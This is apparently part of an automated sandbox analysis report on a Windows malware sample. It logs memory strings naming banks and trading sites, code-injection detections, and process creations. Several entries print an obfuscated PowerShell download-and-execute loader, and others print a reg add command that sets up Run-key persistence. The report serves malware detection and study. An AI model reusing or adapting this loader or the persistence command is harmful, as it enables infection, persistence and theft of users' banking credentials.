Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: svchost.exe, 00000008.00000002.2217806940.0000025D1C45A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2216286206.0000025D16E2B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000F.00000002.2215442340.0000000002D0C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000F.00000002.2215442340.0000000002CB3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: powershell.exe, 00000003.00000002.1250880884.000002759B3BD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: msiexec.exe, 0000000F.00000002.2215442340.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW l
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: msiexec.exe, 0000000F.00000002.2231687534.0000000021D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 6_2_07020D20 LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,

6_2_07020D20

HIPS / PFW / Operating System Protection Evasion

Early bird code injection technique detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created / APC Queued / Resumed: C:\Windows\SysWOW64\msiexec.exe

Jump to behavior

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_6564.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6564, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2032, type: MEMORYSTR

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread APC queued: target process: C:\Windows\SysWOW64\msiexec.exe

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\SysWOW64\msiexec.exe base: 4260000

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "echo $Horrify; function Uprouse15($Fastigiate){$Bovate=4;do{$Cataracted+=$Fastigiate[$Bovate];$Bovate+=5;$Preciosities=Format-List} until(!$Fastigiate[$Bovate])$Cataracted}function Testvrktjer($Pericemental){ .($Unplutocratically) ($Pericemental)}$Tagdkker=Uprouse15 ' HusnUdboe Flltregu.,lnsw';$Tagdkker+=Uprouse15 'tersEGrabBNo.aCC.ckLHjteISuprE AndnRenlT';$Rootfast=Uprouse15 'I baM SrsoAwonzU.deiA.rel enslKonta rio/';$Bovatendskudsstning=Uprouse15 'In lTSekulUndesprec1 R c2';$Matricides=' Iko[H isNperie ProT Til.E ems Yane ugtrHjerV ChoIAftecD,taeCoagpChifoServiLevenSkaltEudamPolyAGastNCardaSi kG Ap.eBrutrBuli]Beds: Tan:K losFesteSquiC avpU BomrId oI coptRecoYKnhjpHa eRRa,eo VitT RanO ntCSu sOTerslHepa=opsl$Kns.bDe.oOBankVJow a HygtFo sE KltNEntodAfs,Sre.uKLeftUFormDOranSSquasSorttRealNGalliGiv NMicrG';$Rootfast+=Uprouse15 ' Bri5ad i.Atro0St.k For(hoveWSelviC rcnNin.dLogaoAmniwTri sMetr klatN ArcTGurg Bue1 hri0po d.Ki o0 in;bo d vbniWUntui CounPeri6Capo4Sa e;Va p S,rix wa6Sca 4Mave;peer skar Nurv ko:Tra 1 Cry3over4town.Fors0men.)Edel SumGButieLem c UdskDiaroAlcm/ Van2Ti s0 ,be1,etr0Refl0Gang1Gl t0 Syt1 Sub AlcF SpoiUnder Ab eTy efDobboH.arxInbo/Semi1Si.u3Prem4,oni.M.zu0';$Hydroida=Uprouse15 'SchiuNonfs BibeRiveRMeta-InhaaArtsgUnswegrooN Rect';$Efterabelserne174=Uprouse15 'PolyhKravtStyrtAfrep Sp.sMarx:F re/Regn/ JosoTagdo G drStreiMe.og.anaiSeminIn xaRudslBleru ,edsConceMonadTyro. vivcDagpoPl dm Cre/I.dtln neodemirFo sdPalo/SokkRGenmeSarci ,ramUdmea Pl gFartiArmin agteMoi..BovnpLab rAktim';$Smreplsen78=Uprouse15 ' Apo>';$Unplutocratically=Uprouse15 'StakI CofeSvovX';$Fodboldes='Sygevarsler';$Barakkens='\Sammenbinder.Moe';Testvrktjer (Uprouse15 ' Pri$HjergVeltlmonoOK,rsbUdsea StelAsja:Lo tA.forNTffenG lvU Astl OraO ilISpladHuj = elg$FaguESiniNDetav ase:IdenAHjfoPk.shP Un,DZe,haTommtStilAT an+dyka$Ca bB ysiA angrpremaB nekAntiKSl nEBu.lN unsS');Testvrktjer (Uprouse15 ' gho$WildGEntrLMi eo Saib VenaSmaaLD.lu:Sni.sRadiPPhonI geaSD moeMu iPUnsul T tiIschGE,trtAish1 Fri5 dfo=unod$ Ud EBaudFCongtB,steTaklREnspA Norb Anae HveLUdfas yntEImp R LusNWashEIsil1 Opt7fo,e4Vi a.knalsI,teP EpilB,lliAncytKkke(Tant$SyntSUrinm S.cR Bate Ko,p agbl SeaSRygme Miln Ch.7Triu8Pa i)');Testvrktjer (Uprouse15 $Matricides);$Efterabelserne174=$Spisepligt15[0];$Bodgery=(Uprouse15 ' Inq$Om,igjackLCacoOBlisBUdklA uinLFo.s:Ani uLudvnUdhuMPel,aGastsAcalTPassE inRSp cfS.aau A,kLRegn=ProsnKoekEAmerwAfso-Ho ooPeptBLangJ CryEMat cTeleT Co To lsRec yL geS UnuTSkygesuprM ork. Rip$Fri tcoc a ewaGBrdrDAlulK TafK PosEPne r');Testvrktjer ($Bodgery);Testvrktjer (Uprouse15 'Tyfo$Mou UAr,inIntemBeviaM nisRod,tKimbeTimerUngrf eeuVitalOver.BoflHSeaseM craN.grdTilgeskibrChe.sD el[ Unf$ MurH,hefyBadidNov rM xioJo siReped Ek,aHome]Mic =Dupl$Ls,eRUdsko aaodhaitAnsafSkinaTrefsMoist');$Saaede=Uprouse15 ' For$ BraUTegnn Benmn nva .tesHandt,edre EnsrU frfBestu.xillBjrg.Bai	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Litteraturlistes" /t REG_EXPAND_SZ /d "%Hochelaga% -windowstyle 1 $Saltires=(gi 'HKCU:\Software\Wormseeds\').GetValue('Engangsforeteelsens184');%Hochelaga% ($Saltires)"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Litteraturlistes" /t REG_EXPAND_SZ /d "%Hochelaga% -windowstyle 1 $Saltires=(gi 'HKCU:\Software\Wormseeds\').GetValue('Engangsforeteelsens184');%Hochelaga% ($Saltires)"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "echo $horrify; function uprouse15($fastigiate){$bovate=4;do{$cataracted+=$fastigiate[$bovate];$bovate+=5;$preciosities=format-list} until(!$fastigiate[$bovate])$cataracted}function testvrktjer($pericemental){ .($unplutocratically) ($pericemental)}$tagdkker=uprouse15 ' husnudboe flltregu.,lnsw';$tagdkker+=uprouse15 'tersegrabbno.acc.cklhjteisupre andnrenlt';$rootfast=uprouse15 'i bam srsoawonzu.deia.rel enslkonta rio/';$bovatendskudsstning=uprouse15 'in ltsekulundesprec1 r c2';$matricides=' iko[h isnperie prot til.e ems yane ugtrhjerv choiaftecd,taecoagpchifoservilevenskalteudampolyagastncardasi kg ap.ebrutrbuli]beds: tan:k losfestesquic avpu bomrid oi coptrecoyknhjpha erra,eo vitt rano ntcsu soterslhepa=opsl$kns.bde.oobankvjow a hygtfo se kltnentodafs,sre.ukleftuformdoranssquassorttrealngalligiv nmicrg';$rootfast+=uprouse15 ' bri5ad i.atro0st.k for(hovewselvic rcnnin.dlogaoamniwtri smetr klatn arctgurg bue1 hri0po d.ki o0 in;bo d vbniwuntui counperi6capo4sa e;va p s,rix wa6sca 4mave;peer skar nurv ko:tra 1 cry3over4town.fors0men.)edel sumgbutielem c udskdiaroalcm/ van2ti s0 ,be1,etr0refl0gang1gl t0 syt1 sub alcf spoiunder ab ety efdobboh.arxinbo/semi1si.u3prem4,oni.m.zu0';$hydroida=uprouse15 'schiunonfs biberivermeta-inhaaartsgunswegroon rect';$efterabelserne174=uprouse15 'polyhkravtstyrtafrep sp.smarx:f re/regn/ josotagdo g drstreime.og.anaiseminin xarudslbleru ,edsconcemonadtyro. vivcdagpopl dm cre/i.dtln neodemirfo sdpalo/sokkrgenmesarci ,ramudmea pl gfartiarmin agtemoi..bovnplab raktim';$smreplsen78=uprouse15 ' apo>';$unplutocratically=uprouse15 'staki cofesvovx';$fodboldes='sygevarsler';$barakkens='\sammenbinder.moe';testvrktjer (uprouse15 ' pri$hjergveltlmonook,rsbudsea stelasja:lo ta.forntffeng lvu astl orao ilispladhuj = elg$faguesinindetav ase:idenahjfopk.shp un,dze,hatommtstilat an+dyka$ca bb ysia angrpremab nekantiksl nebu.ln unss');testvrktjer (uprouse15 ' gho$wildgentrlmi eo saib venasmaald.lu:sni.sradipphoni geasd moemu ipunsul t tiischge,trtaish1 fri5 dfo=unod$ ud ebaudfcongtb,stetaklrenspa norb anae hveludfas ynteimp r lusnwasheisil1 opt7fo,e4vi a.knalsi,tep epilb,lliancytkkke(tant$syntsurinm s.cr bate ko,p agbl seasrygme miln ch.7triu8pa i)');testvrktjer (uprouse15 $matricides);$efterabelserne174=$spisepligt15[0];$bodgery=(uprouse15 ' inq$om,igjacklcacooblisbudkla uinlfo.s:ani uludvnudhumpel,agastsacaltpasse inrsp cfs.aau a,klregn=prosnkoekeamerwafso-ho oopeptblangj cryemat ctelet co to lsrec yl ges unutskygesuprm ork. rip$fri tcoc a ewagbrdrdalulk tafk posepne r');testvrktjer ($bodgery);testvrktjer (uprouse15 'tyfo$mou uar,inintembeviam nisrod,tkimbetimerungrf eeuvitalover.boflhseasem cran.grdtilgeskibrche.sd el[ unf$ murh,hefybadidnov rm xiojo sireped ek,ahome]mic =dupl$ls,erudsko aaodhaitansafskinatrefsmoist');$saaede=uprouse15 ' for$ brautegnn benmn nva .teshandt,edre ensru frfbestu.xillbjrg.bai
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "echo $horrify; function uprouse15($fastigiate){$bovate=4;do{$cataracted+=$fastigiate[$bovate];$bovate+=5;$preciosities=format-list} until(!$fastigiate[$bovate])$cataracted}function testvrktjer($pericemental){ .($unplutocratically) ($pericemental)}$tagdkker=uprouse15 ' husnudboe flltregu.,lnsw';$tagdkker+=uprouse15 'tersegrabbno.acc.cklhjteisupre andnrenlt';$rootfast=uprouse15 'i bam srsoawonzu.deia.rel enslkonta rio/';$bovatendskudsstning=uprouse15 'in ltsekulundesprec1 r c2';$matricides=' iko[h isnperie prot til.e ems yane ugtrhjerv choiaftecd,taecoagpchifoservilevenskalteudampolyagastncardasi kg ap.ebrutrbuli]beds: tan:k losfestesquic avpu bomrid oi coptrecoyknhjpha erra,eo vitt rano ntcsu soterslhepa=opsl$kns.bde.oobankvjow a hygtfo se kltnentodafs,sre.ukleftuformdoranssquassorttrealngalligiv nmicrg';$rootfast+=uprouse15 ' bri5ad i.atro0st.k for(hovewselvic rcnnin.dlogaoamniwtri smetr klatn arctgurg bue1 hri0po d.ki o0 in;bo d vbniwuntui counperi6capo4sa e;va p s,rix wa6sca 4mave;peer skar nurv ko:tra 1 cry3over4town.fors0men.)edel sumgbutielem c udskdiaroalcm/ van2ti s0 ,be1,etr0refl0gang1gl t0 syt1 sub alcf spoiunder ab ety efdobboh.arxinbo/semi1si.u3prem4,oni.m.zu0';$hydroida=uprouse15 'schiunonfs biberivermeta-inhaaartsgunswegroon rect';$efterabelserne174=uprouse15 'polyhkravtstyrtafrep sp.smarx:f re/regn/ josotagdo g drstreime.og.anaiseminin xarudslbleru ,edsconcemonadtyro. vivcdagpopl dm cre/i.dtln neodemirfo sdpalo/sokkrgenmesarci ,ramudmea pl gfartiarmin agtemoi..bovnplab raktim';$smreplsen78=uprouse15 ' apo>';$unplutocratically=uprouse15 'staki cofesvovx';$fodboldes='sygevarsler';$barakkens='\sammenbinder.moe';testvrktjer (uprouse15 ' pri$hjergveltlmonook,rsbudsea stelasja:lo ta.forntffeng lvu astl orao ilispladhuj = elg$faguesinindetav ase:idenahjfopk.shp un,dze,hatommtstilat an+dyka$ca bb ysia angrpremab nekantiksl nebu.ln unss');testvrktjer (uprouse15 ' gho$wildgentrlmi eo saib venasmaald.lu:sni.sradipphoni geasd moemu ipunsul t tiischge,trtaish1 fri5 dfo=unod$ ud ebaudfcongtb,stetaklrenspa norb anae hveludfas ynteimp r lusnwasheisil1 opt7fo,e4vi a.knalsi,tep epilb,lliancytkkke(tant$syntsurinm s.cr bate ko,p agbl seasrygme miln ch.7triu8pa i)');testvrktjer (uprouse15 $matricides);$efterabelserne174=$spisepligt15[0];$bodgery=(uprouse15 ' inq$om,igjacklcacooblisbudkla uinlfo.s:ani uludvnudhumpel,agastsacaltpasse inrsp cfs.aau a,klregn=prosnkoekeamerwafso-ho oopeptblangj cryemat ctelet co to lsrec yl ges unutskygesuprm ork. rip$fri tcoc a ewagbrdrdalulk tafk posepne r');testvrktjer ($bodgery);testvrktjer (uprouse15 'tyfo$mou uar,inintembeviam nisrod,tkimbetimerungrf eeuvitalover.boflhseasem cran.grdtilgeskibrche.sd el[ unf$ murh,hefybadidnov rm xiojo sireped ek,ahome]mic =dupl$ls,erudsko aaodhaitansafskinatrefsmoist');$saaede=uprouse15 ' for$ brautegnn benmn nva .teshandt,edre ensru frfbestu.xillbjrg.bai
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c reg add "hkcu\software\microsoft\windows\currentversion\run" /f /v "litteraturlistes" /t reg_expand_sz /d "%hochelaga% -windowstyle 1 $saltires=(gi 'hkcu:\software\wormseeds\').getvalue('engangsforeteelsens184');%hochelaga% ($saltires)"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "echo $horrify; function uprouse15($fastigiate){$bovate=4;do{$cataracted+=$fastigiate[$bovate];$bovate+=5;$preciosities=format-list} until(!$fastigiate[$bovate])$cataracted}function testvrktjer($pericemental){ .($unplutocratically) ($pericemental)}$tagdkker=uprouse15 ' husnudboe flltregu.,lnsw';$tagdkker+=uprouse15 'tersegrabbno.acc.cklhjteisupre andnrenlt';$rootfast=uprouse15 'i bam srsoawonzu.deia.rel enslkonta rio/';$bovatendskudsstning=uprouse15 'in ltsekulundesprec1 r c2';$matricides=' iko[h isnperie prot til.e ems yane ugtrhjerv choiaftecd,taecoagpchifoservilevenskalteudampolyagastncardasi kg ap.ebrutrbuli]beds: tan:k losfestesquic avpu bomrid oi coptrecoyknhjpha erra,eo vitt rano ntcsu soterslhepa=opsl$kns.bde.oobankvjow a hygtfo se kltnentodafs,sre.ukleftuformdoranssquassorttrealngalligiv nmicrg';$rootfast+=uprouse15 ' bri5ad i.atro0st.k for(hovewselvic rcnnin.dlogaoamniwtri smetr klatn arctgurg bue1 hri0po d.ki o0 in;bo d vbniwuntui counperi6capo4sa e;va p s,rix wa6sca 4mave;peer skar nurv ko:tra 1 cry3over4town.fors0men.)edel sumgbutielem c udskdiaroalcm/ van2ti s0 ,be1,etr0refl0gang1gl t0 syt1 sub alcf spoiunder ab ety efdobboh.arxinbo/semi1si.u3prem4,oni.m.zu0';$hydroida=uprouse15 'schiunonfs biberivermeta-inhaaartsgunswegroon rect';$efterabelserne174=uprouse15 'polyhkravtstyrtafrep sp.smarx:f re/regn/ josotagdo g drstreime.og.anaiseminin xarudslbleru ,edsconcemonadtyro. vivcdagpopl dm cre/i.dtln neodemirfo sdpalo/sokkrgenmesarci ,ramudmea pl gfartiarmin agtemoi..bovnplab raktim';$smreplsen78=uprouse15 ' apo>';$unplutocratically=uprouse15 'staki cofesvovx';$fodboldes='sygevarsler';$barakkens='\sammenbinder.moe';testvrktjer (uprouse15 ' pri$hjergveltlmonook,rsbudsea stelasja:lo ta.forntffeng lvu astl orao ilispladhuj = elg$faguesinindetav ase:idenahjfopk.shp un,dze,hatommtstilat an+dyka$ca bb ysia angrpremab nekantiksl nebu.ln unss');testvrktjer (uprouse15 ' gho$wildgentrlmi eo saib venasmaald.lu:sni.sradipphoni geasd moemu ipunsul t tiischge,trtaish1 fri5 dfo=unod$ ud ebaudfcongtb,stetaklrenspa norb anae hveludfas ynteimp r lusnwasheisil1 opt7fo,e4vi a.knalsi,tep epilb,lliancytkkke(tant$syntsurinm s.cr bate ko,p agbl seasrygme miln ch.7triu8pa i)');testvrktjer (uprouse15 $matricides);$efterabelserne174=$spisepligt15[0];$bodgery=(uprouse15 ' inq$om,igjacklcacooblisbudkla uinlfo.s:ani uludvnudhumpel,agastsacaltpasse inrsp cfs.aau a,klregn=prosnkoekeamerwafso-ho oopeptblangj cryemat ctelet co to lsrec yl ges unutskygesuprm ork. rip$fri tcoc a ewagbrdrdalulk tafk posepne r');testvrktjer ($bodgery);testvrktjer (uprouse15 'tyfo$mou uar,inintembeviam nisrod,tkimbetimerungrf eeuvitalover.boflhseasem cran.grdtilgeskibrche.sd el[ unf$ murh,hefybadidnov rm xiojo sireped ek,ahome]mic =dupl$ls,erudsko aaodhaitansafskinatrefsmoist');$saaede=uprouse15 ' for$ brautegnn benmn nva .teshandt,edre ensru frfbestu.xillbjrg.bai	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c reg add "hkcu\software\microsoft\windows\currentversion\run" /f /v "litteraturlistes" /t reg_expand_sz /d "%hochelaga% -windowstyle 1 $saltires=(gi 'hkcu:\software\wormseeds\').getvalue('engangsforeteelsens184');%hochelaga% ($saltires)"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
